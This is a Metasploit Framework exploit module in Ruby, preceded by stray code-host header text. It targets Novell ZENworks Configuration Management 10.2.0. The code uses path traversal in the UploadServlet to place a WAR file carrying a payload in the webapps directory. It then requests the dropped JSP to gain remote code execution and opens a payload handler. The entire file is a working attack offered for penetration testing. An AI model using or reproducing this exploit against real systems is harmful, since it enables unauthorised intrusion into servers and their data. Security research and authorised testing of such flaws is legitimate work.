93 lines
2.4 KiB
Ruby
93 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell ZENworks Configuration Management Remote Execution',
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'Description' => %q{
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This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
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By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
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and then make a secondary request that allows for arbitrary code execution.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '63412' ],
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[ 'BID', '39114' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
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[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
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],
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'Privileged' => true,
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'Platform' => [ 'win' ],
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'Targets' =>
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[
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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},
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],
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],
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(80),], self.class)
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end
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def exploit
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arch = target['Arch']
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plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
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# Generate the WAR containing the EXE containing the payload
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app_base = rand_text_alphanumeric(4+rand(32-4))
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jsp_name = rand_text_alphanumeric(8+rand(8))
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war_data = Msf::Util::EXE.to_jsp_war(framework, arch, plat, payload.encoded, :jsp_name => jsp_name)
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res = send_request_cgi(
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{
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'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
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'method' => 'POST',
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'data' => war_data,
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'headers' =>
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{
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'Content-Type' => 'application/octet-stream',
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}
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})
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print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
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select(nil, nil, nil, 20)
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if (res.code == 200)
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print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
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send_request_raw(
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{
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'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
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'method' => 'GET',
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})
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else
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print_error("Denied...")
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end
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handler
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end
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end
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